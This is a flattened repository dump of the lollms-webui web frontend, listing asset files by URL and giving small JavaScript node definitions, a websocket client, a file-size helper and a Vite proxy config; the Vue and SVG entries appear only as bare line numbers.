https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Italic.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Light.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Medium.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Regular.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-Thin.ttf -------------------------------------------------------------------------------- /web/public/fonts/Roboto/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/fonts/Roboto/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /web/public/help/code-interpreter.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/code-interpreter.md -------------------------------------------------------------------------------- /web/public/help/image-generation.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/image-generation.md -------------------------------------------------------------------------------- /web/public/help/internet-search.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/internet-search.md -------------------------------------------------------------------------------- /web/public/help/managing-personalities.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/managing-personalities.md -------------------------------------------------------------------------------- /web/public/help/music-generation.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/music-generation.md -------------------------------------------------------------------------------- /web/public/help/sending-images.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/sending-images.md -------------------------------------------------------------------------------- /web/public/help/text-generation.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/text-generation.md -------------------------------------------------------------------------------- /web/public/help/troubleshooting.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/troubleshooting.md -------------------------------------------------------------------------------- /web/public/help/uploading-files.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/help/uploading-files.md -------------------------------------------------------------------------------- /web/public/movie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/movie.png -------------------------------------------------------------------------------- /web/public/music.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/music.png -------------------------------------------------------------------------------- /web/public/play_video.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/play_video.png -------------------------------------------------------------------------------- /web/public/podcast.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/podcast.png -------------------------------------------------------------------------------- /web/public/rebooting.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/rebooting.wav -------------------------------------------------------------------------------- /web/public/tutorial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/public/tutorial.png -------------------------------------------------------------------------------- /web/src/assets/LaTeX_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/LaTeX_block.png -------------------------------------------------------------------------------- /web/src/assets/active.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/src/assets/animated_info.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /web/src/assets/bash_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/bash_block.png -------------------------------------------------------------------------------- /web/src/assets/code_block.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/src/assets/cpp_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/cpp_block.png -------------------------------------------------------------------------------- /web/src/assets/deaf_off.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /web/src/assets/deaf_on.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /web/src/assets/default_model.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/default_model.png -------------------------------------------------------------------------------- /web/src/assets/discord.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/src/assets/extension.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/extension.png -------------------------------------------------------------------------------- /web/src/assets/failed.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /web/src/assets/fastapi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fastapi.png -------------------------------------------------------------------------------- /web/src/assets/fonts/PTSans/PTSans-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/PTSans/PTSans-Bold.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/PTSans/PTSans-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/PTSans/PTSans-BoldItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/PTSans/PTSans-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/PTSans/PTSans-Italic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/PTSans/PTSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/PTSans/PTSans-Regular.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Black.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Bold.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Italic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Light.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Medium.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Regular.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-Thin.ttf -------------------------------------------------------------------------------- /web/src/assets/fonts/Roboto/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/fonts/Roboto/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /web/src/assets/html5_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/html5_block.png -------------------------------------------------------------------------------- /web/src/assets/inactive.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /web/src/assets/javascript_block.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 9 | 10 | 15 | 16 | -------------------------------------------------------------------------------- /web/src/assets/json_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/json_block.png -------------------------------------------------------------------------------- /web/src/assets/loader_v0.svg: -------------------------------------------------------------------------------- 1 | 10 | -------------------------------------------------------------------------------- /web/src/assets/loading.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /web/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/logo.png -------------------------------------------------------------------------------- /web/src/assets/ok.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/src/assets/python_block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/python_block.png -------------------------------------------------------------------------------- /web/src/assets/rec_off.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /web/src/assets/rec_on.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /web/src/assets/registry.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /web/src/assets/spinner.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/src/assets/static_info.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /web/src/assets/strawberry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/src/assets/strawberry.png -------------------------------------------------------------------------------- /web/src/assets/tokenize_icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | T 4 | 5 | -------------------------------------------------------------------------------- /web/src/assets/vscode.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/src/assets/vscode_black.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/src/components/ActionButton.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 33 | -------------------------------------------------------------------------------- /web/src/components/ChatBarButton.vue: -------------------------------------------------------------------------------- 1 | 11 | 12 | -------------------------------------------------------------------------------- /web/src/components/CookiesForm.vue: -------------------------------------------------------------------------------- 1 | 7 | 8 | 28 | 29 | 40 | -------------------------------------------------------------------------------- /web/src/components/Footer.vue: -------------------------------------------------------------------------------- 1 | 11 | 12 | -------------------------------------------------------------------------------- /web/src/components/IPythonConsole.vue: -------------------------------------------------------------------------------- 1 | 9 | 10 | -------------------------------------------------------------------------------- /web/src/components/MarkdownBundle/RenderHTMLJS.vue: -------------------------------------------------------------------------------- 1 | 4 | 5 | 15 | -------------------------------------------------------------------------------- /web/src/components/MarkdownBundle/VideoAlbumViewer.vue: -------------------------------------------------------------------------------- 1 | 10 | 11 | 26 | 27 | -------------------------------------------------------------------------------- /web/src/components/OptionsPopup.vue: -------------------------------------------------------------------------------- 1 | 17 | 18 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /web/src/components/Progressbar.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 17 | 18 | 32 | -------------------------------------------------------------------------------- /web/src/components/SafeSwitch.vue: -------------------------------------------------------------------------------- 1 | 9 | 10 | 26 | -------------------------------------------------------------------------------- /web/src/components/StatusIndicator.vue: -------------------------------------------------------------------------------- 1 | 7 | 8 | 26 | -------------------------------------------------------------------------------- /web/src/components/ToggleSwitch.vue: -------------------------------------------------------------------------------- 1 | // src/components/ToggleSwitch.vue 2 | 17 | 18 | 38 | 39 | -------------------------------------------------------------------------------- /web/src/components/TokensHilighter.vue: -------------------------------------------------------------------------------- 1 | 18 | 19 | 47 | -------------------------------------------------------------------------------- /web/src/components/input_box.vue: -------------------------------------------------------------------------------- 1 | 13 | 14 | 49 | -------------------------------------------------------------------------------- /web/src/nodes/LLM.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInterface, SelectInterface } from "baklavajs"; 2 | import axios from 'axios'; 3 | import { store } from '../main' 4 | 5 | export const LLMNode = defineNode({ 6 | type: "LLMNode", 7 | title: "LLM", 8 | inputs: { 9 | request: () => new NodeInterface("Request", ""), 10 | }, 11 | outputs: { 12 | response: () => new NodeInterface("Response", "") 13 | }, 14 | async calculate({ request }) { 15 | console.log(store.state.config.personalities) 16 | let response = ''; 17 | try { 18 | const result = await axios.post('/generate', { params: { text: request } }); 19 | response = result.data; 20 | } catch (error) { 21 | console.error(error); 22 | } 23 | return { 24 | display: response, 25 | response: response 26 | }; 27 | } 28 | }); 29 | -------------------------------------------------------------------------------- /web/src/nodes/Multichoice.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInputInterface } from "baklavajs"; 2 | 3 | 4 | export const MultichoiceNode = defineNode({ 5 | type: "MultichoiceNode", 6 | title: "Multichoice", 7 | inputs: { 8 | question: () => new NodeInterface("Question", ""), 9 | outputs: () => 10 | new TextInputInterface("choices, one per line", "", "").setPort( 11 | false 12 | ), 13 | }, 14 | outputs: { 15 | response: () => new NodeInterface("Response", "") 16 | }, 17 | 18 | }); 19 | 20 | -------------------------------------------------------------------------------- /web/src/nodes/Personality.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInterface, SelectInterface } from "baklavajs"; 2 | import axios from 'axios'; 3 | import { store } from '../main' 4 | 5 | export const PersonalityNode = defineNode({ 6 | type: "PersonalityNode", 7 | title: "Personality", 8 | inputs: { 9 | request: () => new NodeInterface("Request", ""), 10 | agent_name: () => 11 | new SelectInterface("Personality", "", store.state.config.personalities).setPort( 12 | false 13 | ), 14 | }, 15 | outputs: { 16 | response: () => new NodeInterface("Response", "") 17 | }, 18 | async calculate({ request }) { 19 | console.log(store.state.config.personalities) 20 | let response = ''; 21 | try { 22 | const result = await axios.post('/generate', { params: { text: request } }); 23 | response = result.data; 24 | } catch (error) { 25 | console.error(error); 26 | } 27 | return { 28 | display: response, 29 | response: response 30 | }; 31 | } 32 | }); 33 | -------------------------------------------------------------------------------- /web/src/nodes/Rag.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInputInterface } from "baklavajs"; 2 | import axios from 'axios'; 3 | import { store } from '../main' 4 | 5 | export const RAGNode = defineNode({ 6 | type: "RAGNode", 7 | title: "RAG", 8 | inputs: { 9 | request: () => new NodeInterface("Prompt", ""), 10 | document_path: () => new TextInputInterface("Document path", "").setPort( 11 | false 12 | ), 13 | }, 14 | outputs: { 15 | prompt: () => new NodeInterface("Prompt with Data", "") 16 | }, 17 | async calculate({ request, document_path }) { 18 | let response = ''; 19 | try { 20 | const result = await axios.get('/rag', { params: { text: request, doc_path:document_path } }); 21 | response = result.data; 22 | } catch (error) { 23 | console.error(error); 24 | } 25 | return { 26 | response: response 27 | }; 28 | } 29 | }); 30 | -------------------------------------------------------------------------------- /web/src/nodes/Task.js: -------------------------------------------------------------------------------- 1 | import { 2 | defineNode, 3 | TextInputInterface, 4 | NodeInterface 5 | } from "baklavajs"; 6 | 7 | export const TaskNode = defineNode({ 8 | type: "Task", 9 | title: "Task", 10 | inputs: { 11 | description: () => new TextInputInterface("Task description", "").setPort( 12 | false 13 | ), 14 | }, 15 | outputs: { 16 | prompt: () => new NodeInterface("Prompt") 17 | }, 18 | calculate({ description }) { 19 | return { prompt: description }; 20 | } 21 | }); 22 | -------------------------------------------------------------------------------- /web/src/nodes/TaskDispatcher.js: -------------------------------------------------------------------------------- 1 | import { 2 | defineNode, 3 | TextInputInterface, 4 | NodeInterface 5 | } from "baklavajs"; 6 | 7 | export const TaskDispatcherNode = defineNode({ 8 | type: "Task", 9 | title: "Task", 10 | description: { 11 | 12 | }, 13 | inputs: { 14 | description: () => new TextInputInterface("Description", ""), 15 | }, 16 | outputs: { 17 | result: () => new NodeInterface("Result") 18 | }, 19 | calculate({ description }) { 20 | return { result: description }; 21 | } 22 | }); 23 | -------------------------------------------------------------------------------- /web/src/nodes/TextDisplay.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInterface, SelectInterface } from "baklavajs"; 2 | import axios from 'axios'; 3 | import { store } from '../main' 4 | 5 | export const TextDisplayNode = defineNode({ 6 | type: "TextDisplayNode", 7 | title: "TextDisplay", 8 | inputs: { 9 | text2display: () => new NodeInterface("Input", ""), 10 | }, 11 | outputs: { 12 | response: () => new TextInterface("Text", "") 13 | }, 14 | async calculate({ request }) { 15 | } 16 | }); 17 | -------------------------------------------------------------------------------- /web/src/nodes/Yes_No.js: -------------------------------------------------------------------------------- 1 | import { defineNode, NodeInterface, TextInterface, SelectInterface } from "baklavajs"; 2 | import axios from 'axios'; 3 | import { store } from '../main' 4 | 5 | export const LLMNode = defineNode({ 6 | type: "LLMNode", 7 | title: "LLM", 8 | inputs: { 9 | input: () => new NodeInterface("Input", ""), 10 | question: () => new NodeInterface("Question", "").setPort( 11 | false 12 | ), 13 | }, 14 | outputs: { 15 | yes: () => new NodeInterface("Yes", ""), 16 | no: () => new NodeInterface("No", "") 17 | }, 18 | async calculate({ request }) { 19 | console.log(store.state.config.personalities) 20 | let response = ''; 21 | try { 22 | const result = await axios.get('/yes_no', { params: { text: request } }); 23 | response = result.data; 24 | } catch (error) { 25 | console.error(error); 26 | } 27 | return { 28 | display: response, 29 | response: response 30 | }; 31 | } 32 | }); 33 | -------------------------------------------------------------------------------- /web/src/plugins/filesize.js: -------------------------------------------------------------------------------- 1 | /** From https://stackoverflow.com/a/14919494/14106028 2 | * Format bytes as human-readable text. 3 | * 4 | * @param bytes Number of bytes. 5 | * @param si True to use metric (SI) units, aka powers of 1000. False to use 6 | * binary (IEC), aka powers of 1024. 7 | * @param dp Number of decimal places to display. 8 | * 9 | * @return Formatted string. 10 | */ 11 | export default function humanFileSize(bytes, si = true, dp = 1) { 12 | const thresh = si ? 1000 : 1024; 13 | 14 | if (Math.abs(bytes) < thresh) { 15 | return bytes + ' B'; 16 | } 17 | 18 | const units = si 19 | ? ['kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'] 20 | : ['KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB']; 21 | let u = -1; 22 | const r = 10 ** dp; 23 | 24 | do { 25 | bytes /= thresh; 26 | ++u; 27 | } while (Math.round(Math.abs(bytes) * r) / r >= thresh && u < units.length - 1); 28 | 29 | 30 | return bytes.toFixed(dp) + ' ' + units[u]; 31 | } -------------------------------------------------------------------------------- /web/src/services/websocket.js: -------------------------------------------------------------------------------- 1 | // Project : lollms-webui 2 | // Author : ParisNeo 3 | // Description : 4 | // All websocket stuff can be found here. 5 | // More info can be found here https://socket.io/how-to/use-with-vue 6 | // import { createApp } from 'vue'; 7 | import io from 'socket.io-client'; 8 | 9 | // fixes issues when people not hosting this site on local network 10 | const URL = process.env.NODE_ENV === "production" ? "/" : (import.meta.env.VITE_LOLLMS_API)+"/"; 11 | console.log(URL) 12 | const socket = new io(URL,{ 13 | reconnection: true, // Enable reconnection 14 | reconnectionAttempts: 10, // Maximum reconnection attempts 15 | reconnectionDelay: 1000, // Delay between reconnection attempts (in milliseconds) 16 | }); 17 | 18 | // const app = createApp(/* your root component */); 19 | 20 | // app.config.globalProperties.$socket = socket; 21 | 22 | // app.mount(/* your root element */); 23 | 24 | export default socket; 25 | 26 | -------------------------------------------------------------------------------- /web/src/views/AutoSDView.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 10 | -------------------------------------------------------------------------------- /web/src/views/ComfyuiView.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 10 | -------------------------------------------------------------------------------- /web/vite.config.mjs: -------------------------------------------------------------------------------- 1 | import { fileURLToPath, URL } from 'node:url' 2 | 3 | import { defineConfig, loadEnv } from 'vite' 4 | import vue from '@vitejs/plugin-vue' 5 | import path from 'path' 6 | // https://vitejs.dev/config/ 7 | export default async ({ mode }) => { 8 | // Load app-level env vars to node-level env vars. 9 | process.env = {...process.env, ...loadEnv(mode, process.cwd())}; 10 | 11 | return defineConfig({ 12 | 13 | plugins: [ 14 | vue() 15 | ], 16 | optimizeDeps: { 17 | include: ['monaco-editor/esm/vs/editor/editor.main.js'] 18 | }, 19 | resolve: { 20 | alias: { 21 | '@': fileURLToPath(new URL('./src', import.meta.url)) 22 | } 23 | }, 24 | server: { 25 | proxy: { 26 | "/api/": { 27 | target: process.env.VITE_LOLLMS_API,//serverURL, 28 | changeOrigin: process.env.VITE_LOLLMS_API_CHANGE_ORIGIN, 29 | secure: process.env.VITE_LOLLMS_API_SECURE, 30 | rewrite: (path) => path.replace(/^\/api/, ""), 31 | }, 32 | // "/": { 33 | // target: process.env.VITE_LOLLMS_API, 34 | // changeOrigin: process.env.VITE_LOLLMS_API_CHANGE_ORIGIN, 35 | // secure: process.env.VITE_LOLLMS_API_SECURE, 36 | 37 | // }, 38 | 39 | }, 40 | } 41 | })} 42 | --------------------------------------------------------------------------------